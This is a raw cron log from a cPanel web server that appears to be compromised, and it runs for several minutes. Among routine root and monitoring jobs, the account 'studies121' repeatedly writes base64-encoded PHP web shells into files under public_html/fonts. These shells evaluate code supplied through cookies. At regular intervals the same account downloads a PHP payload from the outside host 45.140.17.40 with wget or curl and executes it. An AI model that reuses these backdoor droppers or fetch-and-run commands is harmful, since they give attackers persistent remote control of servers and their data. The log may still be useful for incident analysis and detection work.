Sep 11 02:56:01 ip-184-168-122-23 CROND[18737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:56:01 ip-184-168-122-23 CROND[18738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:57:01 ip-184-168-122-23 CROND[18831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:57:01 ip-184-168-122-23 CROND[18835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:57:01 ip-184-168-122-23 CROND[18834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:57:01 ip-184-168-122-23 CROND[18833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:58:01 ip-184-168-122-23 CROND[18928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:58:01 ip-184-168-122-23 CROND[18930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:58:01 ip-184-168-122-23 CROND[18934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:58:01 ip-184-168-122-23 CROND[18931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:58:01 ip-184-168-122-23 CROND[18935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:59:01 ip-184-168-122-23 CROND[19042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:59:01 ip-184-168-122-23 CROND[19041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:59:01 ip-184-168-122-23 CROND[19043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:59:01 ip-184-168-122-23 CROND[19040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:00:01 ip-184-168-122-23 CROND[19124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:00:01 ip-184-168-122-23 CROND[19123]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:00:01 ip-184-168-122-23 CROND[19125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:00:01 ip-184-168-122-23 CROND[19129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:00:01 ip-184-168-122-23 CROND[19136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:00:01 ip-184-168-122-23 CROND[19137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:00:01 ip-184-168-122-23 CROND[19134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:00:01 ip-184-168-122-23 CROND[19135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:01:01 ip-184-168-122-23 CROND[19347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:01:01 ip-184-168-122-23 CROND[19348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:01:01 ip-184-168-122-23 CROND[19349]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 03:01:01 ip-184-168-122-23 anacron[12230]: Job `cron.weekly' started
Sep 11 03:01:01 ip-184-168-122-23 CROND[19356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:01:01 ip-184-168-122-23 CROND[19354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:01:01 ip-184-168-122-23 CROND[19357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19349]: starting 0anacron
Sep 11 03:01:01 ip-184-168-122-23 anacron[12230]: Job `cron.weekly' terminated
Sep 11 03:01:01 ip-184-168-122-23 anacron[12230]: Normal exit (1 job run)
Sep 11 03:01:02 ip-184-168-122-23 anacron[19374]: Anacron started on 2026-09-11
Sep 11 03:01:02 ip-184-168-122-23 anacron[19374]: Will run job `cron.daily' in 36 min.
Sep 11 03:01:02 ip-184-168-122-23 anacron[19374]: Jobs will be executed sequentially
Sep 11 03:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19376]: finished 0anacron
Sep 11 03:02:01 ip-184-168-122-23 CROND[19459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:02:01 ip-184-168-122-23 CROND[19460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:02:01 ip-184-168-122-23 CROND[19461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:02:01 ip-184-168-122-23 CROND[19462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:02:01 ip-184-168-122-23 CROND[19465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:03:01 ip-184-168-122-23 CROND[19547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:03:01 ip-184-168-122-23 CROND[19549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:03:01 ip-184-168-122-23 CROND[19550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:03:01 ip-184-168-122-23 CROND[19548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:04:01 ip-184-168-122-23 CROND[19637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:04:01 ip-184-168-122-23 CROND[19639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:04:01 ip-184-168-122-23 CROND[19640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:04:01 ip-184-168-122-23 CROND[19638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:04:01 ip-184-168-122-23 CROND[19642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:05:02 ip-184-168-122-23 CROND[19729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:05:02 ip-184-168-122-23 CROND[19731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:05:02 ip-184-168-122-23 CROND[19734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:05:02 ip-184-168-122-23 CROND[19732]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:05:02 ip-184-168-122-23 CROND[19733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:05:02 ip-184-168-122-23 CROND[19736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:05:02 ip-184-168-122-23 CROND[19735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:06:01 ip-184-168-122-23 CROND[19917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:06:01 ip-184-168-122-23 CROND[19921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:06:01 ip-184-168-122-23 CROND[19922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:06:01 ip-184-168-122-23 CROND[19919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:06:01 ip-184-168-122-23 CROND[19920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:07:02 ip-184-168-122-23 CROND[20006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:07:02 ip-184-168-122-23 CROND[20008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:07:02 ip-184-168-122-23 CROND[20009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:07:02 ip-184-168-122-23 CROND[20007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:08:01 ip-184-168-122-23 CROND[20084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:08:01 ip-184-168-122-23 CROND[20086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
